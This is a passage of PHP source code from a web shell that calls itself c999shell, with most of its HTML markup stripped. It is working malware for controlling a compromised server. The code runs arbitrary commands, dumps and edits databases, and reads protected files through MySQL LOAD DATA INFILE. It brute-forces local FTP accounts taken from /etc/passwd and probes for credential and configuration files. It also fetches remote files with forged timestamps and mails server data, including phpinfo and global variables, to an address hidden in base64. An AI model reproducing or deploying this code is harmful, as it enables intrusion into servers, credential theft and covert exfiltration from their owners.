(array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; $sql_act = "query"; $sql_tbl_act = "browse"; } elseif ($sql_tbl_insert_radio == 2) { $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; $result = mysql_query($sql_query) or print(mysql_smarterror()); $result = mysql_fetch_array($result, MYSQL_ASSOC); $sql_act = "query"; $sql_tbl_act = "browse"; } } if ($sql_act == "query") { echo "
    "; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ".$sql_query_error."
    ";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) {echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "



     
    ";} } if (in_array($sql_act,$acts)) { ?>
    Create new table:
     
    Dump DB:
    "> 
    ";} if ($sql_act == "newtbl") { echo ""; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    "; } else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason: ".mysql_smarterror();} } elseif ($sql_act == "dump") { if (empty($submit)) { $diplay = FALSE; echo "
    SQL-Dump:

    "; echo "DB: 

    "; $v = join (";",$dmptbls); echo "Only tables (explode \";\") 1: 

    "; if ($dump_file) {$tmp = $dump_file;} else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} echo "File: 

    "; echo "Download:  

    "; echo "Save to file:  "; echo "



    1 - all, if empty"; echo "
    "; } else { $diplay = TRUE; $set = array(); $set["sock"] = $sql_sock; $set["db"] = $sql_db; $dump_out = "download"; $set["print"] = 0; $set["nl2br"] = 0; $set[""] = 0; $set["file"] = $dump_file; $set["add_drop"] = TRUE; $set["onlytabs"] = array(); if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} $ret = mysql_dump($set); if ($sql_dump_download) { @ob_clean(); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($ret)); header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); echo $ret; exit; } elseif ($sql_dump_savetofile) { $fp = fopen($sql_dump_file,"w"); if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} else { fwrite($fp,$ret); fclose($fp); echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")."; } } else {echo "Dump: nothing to do!";} } } if ($diplay) { if (!empty($sql_tbl)) { if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); $count_row = mysql_fetch_array($count); mysql_free_result($count); $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); $tbl_struct_fields = array(); while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} $perpage = $sql_tbl_le - $sql_tbl_ls; if (!is_numeric($perpage)) {$perpage = 10;} $numpages = $count_row[0]/$perpage; $e = explode(" ",$sql_order); if (count($e) == 2) { if ($e[0] == "d") {$asc_desc = "DESC";} else {$asc_desc = "ASC";} $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; } else {$v = "";} $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; $result = mysql_query($query) or print(mysql_smarterror()); echo "
    Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
    "; echo "Structure ]   "; echo "Browse ]   "; echo "Dump ]   "; echo "Insert ]   "; if ($sql_tbl_act == "structure") {echo "

    Coming sooon!";} if ($sql_tbl_act == "insert") { if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} if (!empty($sql_tbl_insert_radio)) { } else { echo "

    Inserting row into table:
    "; if (!empty($sql_tbl_insert_q)) { $sql_query = "SELECT * FROM `".$sql_tbl."`"; $sql_query .= " WHERE".$sql_tbl_insert_q; $sql_query .= " LIMIT 1;"; $result = mysql_query($sql_query,$sql_sock) or print("

    ".mysql_smarterror()); $values = mysql_fetch_assoc($result); mysql_free_result($result); } else {$values = array();} echo "
    "; foreach ($tbl_struct_fields as $field) { $name = $field["Field"]; if (empty($sql_tbl_insert_q)) {$v = "";} echo ""; $i++; } echo "
    FieldTypeFunctionValue
    ".htmlspecialchars($name)."".$field["Type"]."

    "; echo "Insert as new row"; if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";} echo "

    "; } } if ($sql_tbl_act == "browse") { $sql_tbl_ls = abs($sql_tbl_ls); $sql_tbl_le = abs($sql_tbl_le); echo "
    "; echo "\"Pages\" "; $b = 0; for($i=0;$i<$numpages;$i++) { if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} echo $i; if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} if (($i/30 == round($i/30)) and ($i > 0)) {echo "
    ";} else {echo " ";} } if ($i == 0) {echo "empty";} echo "
    From:  To:  
    "; echo "
    "; echo ""; echo ""; for ($i=0;$i"; if (empty($e[0])) {$e[0] = "a";} if ($e[1] != $v) {echo "".$v."";} else {echo "".$v."\"".$m."\"";} echo ""; } echo ""; echo ""; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { echo ""; $w = ""; $i = 0; foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} echo ""; $i = 0; foreach ($row as $k=>$v) { $v = htmlspecialchars($v); if ($v == "") {$v = "NULL";} echo ""; $i++; } echo ""; echo ""; } mysql_free_result($result); echo "
    Action
    ".$v.""; echo "\"Delete\" "; echo "\"Edit\" "; echo "

     

    "; } } else { $result = mysql_query("SHOW TABLE STATUS", $sql_sock); if (!$result) {echo mysql_smarterror();} else { echo "
    "; $i = 0; $tsize = $trows = 0; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $tsize += $row["Data_length"]; $trows += $row["Rows"]; $size = view_size($row["Data_length"]); echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; $i++; } echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo "
    Table
    RowsTypeCreatedModifiedSizeAction
     ".$row["Name"]." ".$row["Rows"]."".$row["Type"]."".$row["Create_time"]."".$row["Update_time"]."".$size." \"Empty\"  \"Drop\" \"Insert\" 
    »
    ".$i." table(s)
    ".$trows."".$row[1]."".$row[10]."".$row[11]."".view_size($tsize)."

     

    "; mysql_free_result($result); } } } } } else { $acts = array("","newdb","serverstatus","servervars","processes","getfile"); if (in_array($sql_act,$acts)) {?>
    Create new DB:
     
    View File:
     
    "; if ($sql_act == "newdb") { echo ""; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    ";} else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason:
    ".mysql_smarterror();} } if ($sql_act == "serverstatus") { $result = mysql_query("SHOW STATUS", $sql_sock); echo "
    Server-status variables:

    "; echo ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; mysql_free_result($result); } if ($sql_act == "servervars") { $result = mysql_query("SHOW VARIABLES", $sql_sock); echo "
    Server variables:

    "; echo ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; mysql_free_result($result); } if ($sql_act == "processes") { if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen.";} $result = mysql_query("SHOW PROCESSLIST", $sql_sock); echo "
    Processes:

    "; echo ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "";} echo "
    IDUSERHOSTDBCOMMANDTIMESTATEINFOAction
    ".$row[0]."".$row[1]."".$row[2]."".$row[3]."".$row[4]."".$row[5]."".$row[6]."".$row[7]."Kill
    "; mysql_free_result($result); } if ($sql_act == "getfile") { $tmpdb = $sql_login."_tmpdb"; $select = mysql_select_db($tmpdb); if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} if ($select) { $created = FALSE; mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); $result = mysql_query("SELECT * FROM tmp_file;"); if (!$result) {echo "Error in reading file (permision denied)!";} else { for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!
    ";} else {echo "File \"".$sql_getfile."\":
    ".nl2br(htmlspecialchars($f))."
    ";} mysql_free_result($result); mysql_query("DROP TABLE tmp_file;"); } } mysql_drop_db($tmpdb); //comment it if you want to leave database } } } } echo "
    "; if ($sql_sock) { $affected = @mysql_affected_rows($sql_sock); if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} echo "
    Affected rows: ".$affected."
    "; } if ($act == "mkdir") { if ($mkdir != $d) { if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": object alredy exists";} elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": access denied";} echo "

    "; } $act = $dspact = "ls"; } if ($act == "ftpquickbrute") { echo "Ftp Quick brute:
    "; if (!win) {echo "This functions not work in Windows!

    ";} else { function c999ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} else {$TRUE = TRUE;} if ($TRUE) { $sock = @ftp_connect($host,$port,$timeout); if (@ftp_login($sock,$login,$pass)) { echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\".
    "; ob_flush(); return TRUE; } } } if (!empty($submit)) { if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} $fp = fopen("/etc/passwd","r"); if (!$fp) {echo "Can't get /etc/passwd for password-list.";} else { if ($fqb_logging) { if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} else {$fqb_logfp = FALSE;} $fqb_log = "FTP Quick Brute (called c999shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} } ob_flush(); $i = $success = 0; $ftpquick_st = getmicrotime(); while(!feof($fp)) { $str = explode(":",fgets($fp,2048)); if (c999ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"
    "; $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} $success++; ob_flush(); } if ($i > $fqb_lenght) {break;} $i++; } if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); echo "
    Done!
    Total time (secs.): ".$ftpquick_t."
    Total connections: ".$i."
    Success.: ".$success."
    Unsuccess.:".($i-$success)."
    Connects per second: ".round($i/$ftpquick_t,2)."
    "; $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} if ($fqb_logemail) {@mail($fqb_logemail,"c999shell v. ".$shver." report",$fqb_log);} fclose($fqb_logfp); } } else { $logfile = $tmpdir_logs."c999sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); echo "

    Read first:

    Users only with shell? 

    Logging? 
    Logging to file? 
    Logging to e-mail? 

    "; } } } if ($act == "d") { if (!is_dir($d)) {echo "
    Permision denied!
    ";} else { echo "Directory information:"; if (!$win) { echo "
    Owner/Group "; $ow = posix_getpwuid(fileowner($d)); $gr = posix_getgrgid(filegroup($d)); $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); } echo "
    Perms".view_perms_color($d)."
    Create time ".date("d/m/Y H:i:s",filectime($d))."
    Access time ".date("d/m/Y H:i:s",fileatime($d))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."

    "; } } if ($act == "phpinfo") {@ob_clean(); phpinfo(); c999shexit();} if ($act == "security") { echo "
    Server security information:
    Open base dir: ".$hopenbasedir."
    "; if (!$win) { if ($nixpasswd) { if ($nixpasswd == 1) {$nixpasswd = 0;} echo "*nix /etc/passwd:
    "; if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} echo "
    From:  To:  

    "; $i = $nixpwd_s; while ($i < $nixpwd_e) { $uid = posix_getpwuid($i); if ($uid) { $uid["dir"] = "".$uid["dir"].""; echo join(":",$uid)."
    "; } $i++; } } else {echo "
    Get /etc/passwd
    ";} } else { $v = $_SERVER["WINDIR"]."\repair\sam"; if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.")
    ";} else {echo "You can crack winnt passwords. Download, and use lcp.crack+ ©.
    ";} } if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs
    ";} if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs
    ";} if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf)
    ";} if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf)
    ";} if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf)
    ";} if (file_get_contents("/etc/motd")) {echo "Message Of The Day
    ";} if (file_get_contents("/etc/hosts")) {echo "Hosts
    ";} function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)."
    ";}} displaysecinfo("OS Version?",myshellexec("cat /proc/version")); displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); displaysecinfo("RAM",myshellexec("free -m")); displaysecinfo("HDD space",myshellexec("df -h")); displaysecinfo("List of Attributes",myshellexec("lsattr -a")); displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); displaysecinfo("Is cURL installed?",myshellexec("which curl")); displaysecinfo("Is lynx installed?",myshellexec("which lynx")); displaysecinfo("Is links installed?",myshellexec("which links")); displaysecinfo("Is fetch installed?",myshellexec("which fetch")); displaysecinfo("Is GET installed?",myshellexec("which GET")); displaysecinfo("Is perl installed?",myshellexec("which perl")); displaysecinfo("Where is apache",myshellexec("whereis apache")); displaysecinfo("Where is perl?",myshellexec("whereis perl")); displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); displaysecinfo("locate my.conf",myshellexec("locate my.conf")); displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); } if ($act == "mkfile") { if ($mkfile != $d) { if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\": object alredy exists";} elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\": access denied";} else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} } else {$act = $dspact = "ls";} } if ($act == "encoder") { echo "
    Encoder:
    Input:




    Hashes:
    "; foreach(array("md5","crypt","sha1","crc32") as $v) { echo $v." -
    "; } echo "
    Url:

    urlencode -
    urldecode -
    Base64:
    base64_encode -
    "; echo "
    base64_decode - "; if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "";} else { $debase64 = base64_decode($encoder_input); $debase64 = str_replace("\0","[0]",$debase64); $a = explode("\r\n",$debase64); $rows = count($a); $debase64 = htmlspecialchars($debase64); if ($rows == 1) {echo "";} else {$rows++; echo "";} echo " ^"; } echo "

    Base convertations:
    dec2hex -
    "; } if ($act == "fsbuff") { $arr_copy = $sess_data["copy"]; $arr_cut = $sess_data["cut"]; $arr = array_merge($arr_copy,$arr_cut); if (count($arr) == 0) {echo "
    Buffer is empty!
    ";} else {echo "File-System buffer

    "; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} } if ($act == "selfremove") { if (($submit == $rndcode) and ($submit != "")) { if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c999shell v.".$shver."!"; c999shexit(); } else {echo "
    Can't delete ".__FILE__."!
    ";} } else { if (!empty($rndcode)) {echo "Error: incorrect confimation!";} $rnd = rand(0,9).rand(0,9).rand(0,9); echo "
    Self-remove: ".__FILE__."
    Are you sure?
    For confirmation, enter \"".$rnd."\"
     "; } } if ($act == "update") {$ret = c999sh_getupdate(!!$confirmupdate); echo "".$ret.""; if (stristr($ret,"new version")) {echo "

    ";}} if ($act == "feedback") { $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); if (!empty($submit)) { $ticket = substr(md5(microtime()+rand(1,1000)),0,6); $body = "c999shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; if (!empty($fdbk_ref)) { $tmp = @ob_get_contents(); ob_clean(); phpinfo(); $phpinfo = base64_encode(ob_get_contents()); ob_clean(); echo $tmp; $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; } mail($suppmail,"c999shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); echo "
    Thanks for your feedback! Your ticket ID: ".$ticket.".
    "; } else {echo "
    Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):

    Your name:

    Your e-mail:

    Message:


    Attach server-info *

    There are no checking in the form.

    * - strongly recommended, if you report bug, because we need it for bug-fix.

    We understand languages: English, Russian.

    ";} } if ($act == "search") { echo "Search in file-system:
    "; if (empty($search_in)) {$search_in = $d;} if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} if (empty($search_text_wwo)) {$search_text_regexp = 0;} if (!empty($submit)) { $found = array(); $found_d = 0; $found_f = 0; $search_i_f = 0; $search_i_d = 0; $a = array ( "name"=>$search_name, "name_regexp"=>$search_name_regexp, "text"=>$search_text, "text_regexp"=>$search_text_regxp, "text_wwo"=>$search_text_wwo, "text_cs"=>$search_text_cs, "text_not"=>$search_text_not ); $searchtime = getmicrotime(); $in = array_unique(explode(";",$search_in)); foreach($in as $v) {c999fsearch($v);} $searchtime = round(getmicrotime()-$searchtime,4); if (count($found) == 0) {echo "No files found!";} else { $ls_arr = $found; $disp_fullpath = TRUE; $act = "ls"; } } echo "
    Search for (file/folder name):   - regexp
    Search in (explode \";\"):

    Text:


    - regexp    - whole words only    - case sensitive    - find files NOT containing the text

    "; if ($act == "ls") {$dspact = $act; echo "
    Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).

    ";} } if ($act == "chmod") { $mode = fileperms($d.$f); if (!$mode) {echo "Change file-mode with error: can't get current value.";} else { $form = TRUE; if ($chmod_submit) { $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} else {$err = "Can't chmod to ".$octet.".";} } if ($form) { $perms = parse_perms($mode); echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
    ".($err?"Error: ".$err:"")."
    Owner

     Read
     Write
    eXecute
    Group

     Read
     Write
    eXecute
    World

     Read
     Write
    eXecute
    "; } } } if ($act == "upload") { $uploadmess = ""; $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); if (empty($uploadpath)) {$uploadpath = $d;} elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} if (!empty($submit)) { global $HTTP_POST_FILES; $uploadfile = $HTTP_POST_FILES["uploadfile"]; if (!empty($uploadfile["tmp_name"])) { if (empty($uploadfilename)) {$destin = $uploadfile["name"];} else {$destin = $userfilename;} if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!
    ";} } elseif (!empty($uploadurl)) { if (!empty($uploadfilename)) {$destin = $uploadfilename;} else { $destin = explode("/",$destin); $destin = $destin[count($destin)-1]; if (empty($destin)) { $i = 0; $b = ""; while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} } if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url!
    ";} else { $st = getmicrotime(); $content = @file_get_contents($uploadurl); $dt = round(getmicrotime()-$st,4); if (!$content) {$uploadmess .= "Can't download file!
    ";} else { if ($filestealth) {$stat = stat($uploadpath.$destin);} $fp = fopen($uploadpath.$destin,"w"); if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!
    ";} else { fwrite($fp,$content,strlen($content)); fclose($fp); if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} } } } } } if ($miniform) { echo "".$uploadmess.""; $act = "ls"; } else { echo "File upload:
    ".$uploadmess."
    Select file on your local computer:
                   or
    Input URL:

    Save this file dir:

    File-name (auto-fill):

     convert file name to lovercase

    "; } } if ($act == "delete") { $delerr = ""; foreach ($actbox as $v) { $result = FALSE; $result = fs_rmobj($v); if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."
    ";} } if (!empty($delerr)) {echo "Deleting with errors:
    ".$delerr;} $act = "ls"; } if (!$usefsbuff) { if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "
    Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.
    ";} } else { if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c999_sess_put($sess_data); $act = "ls"; } elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c999_sess_put($sess_data); $act = "ls";} elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c999_sess_put($sess_data); $act = "ls";} if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c999_sess_put($sess_data);} elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} unset($sess_data["cut"][$k]); } c999_sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors:
    ".$psterr;} $act = "ls"; } elseif ($actarcbuff) { $arcerr = ""; if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} else {$ext = ".tar.gz";} if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} $cmdline .= " ".$actarcbuff_path; $objects = array_merge($sess_data["copy"],$sess_data["cut"]); foreach($objects as $v) { $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} if (is_dir($v)) { if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} $v .= "*"; } $cmdline .= " ".$v; } $tmp = realpath("."); chdir($d); $ret = myshellexec($cmdline); chdir($tmp); if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!
    ";} $ret = str_replace("\r\n","\n",$ret); $ret = explode("\n",$ret); if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} foreach($sess_data["cut"] as $k=>$v) { if (in_array($v,$ret)) {fs_rmobj($v);} unset($sess_data["cut"][$k]); } c999_sess_put($sess_data); if (!empty($arcerr)) {echo "Archivation errors:
    ".$arcerr;} $act = "ls"; } elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} unset($sess_data["cut"][$k]); } c999_sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors:
    ".$psterr;} $act = "ls"; } } if ($act == "cmd") { if (trim($cmd) == "ps -aux") {$act = "processes";} elseif (trim($cmd) == "tasklist") {$act = "processes";} else { @chdir($chdir); if (!empty($submit)) { echo "Result of execution this command:
    "; $olddir = realpath("."); @chdir($d); $ret = myshellexec($cmd); $ret = convert_cyr_string($ret,"d","w"); if ($cmd_txt) { $rows = count(explode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10;} echo "
    "; } else {echo $ret."
    ";} @chdir($olddir); } else {echo "Execution command"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} echo "


     Display in text-area 
    "; } } if ($act == "ls") { if (count($ls_arr) > 0) {$list = $ls_arr;} else { $list = array(); if ($h = @opendir($d)) { while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} closedir($h); } else {} } if (count($list) == 0) {echo "
    Can't open folder (".htmlspecialchars($d).")!
    ";} else { //Building array $objects = array(); $vd = "f"; //Viewing mode if ($vd == "f") { $objects["head"] = array(); $objects["folders"] = array(); $objects["links"] = array(); $objects["files"] = array(); foreach ($list as $v) { $o = basename($v); $row = array(); if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} elseif (is_dir($v)) { if (is_link($v)) {$type = "LINK";} else {$type = "DIR";} $row[] = $v; $row[] = $type; } elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} $row[] = filemtime($v); if (!$win) { $ow = posix_getpwuid(fileowner($v)); $gr = posix_getgrgid(filegroup($v)); $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); } $row[] = fileperms($v); if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} elseif (is_link($v)) {$objects["links"][] = $row;} elseif (is_dir($v)) {$objects["folders"][] = $row;} elseif (is_file($v)) {$objects["files"][] = $row;} $i++; } $row = array(); $row[] = "Name"; $row[] = "Size"; $row[] = "Modify"; if (!$win) {$row[] = "Owner/Group";} $row[] = "Perms"; $row[] = "Action"; $parsesort = parsesort($sort); $sort = $parsesort[0].$parsesort[1]; $k = $parsesort[0]; if ($parsesort[1] != "a") {$parsesort[1] = "d";} $y = ""; $y .= "\"".($parsesort[1]"; $row[$k] .= $y; for($i=0;$i".$row[$i]."";} } $v = $parsesort[0]; usort($objects["folders"], "tabsort"); usort($objects["links"], "tabsort"); usort($objects["files"], "tabsort"); if ($parsesort[1] == "d") { $objects["folders"] = array_reverse($objects["folders"]); $objects["files"] = array_reverse($objects["files"]); } $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); $tab = array(); $tab["cols"] = array($row); $tab["head"] = array(); $tab["folders"] = array(); $tab["links"] = array(); $tab["files"] = array(); $i = 0; foreach ($objects as $a) { $v = 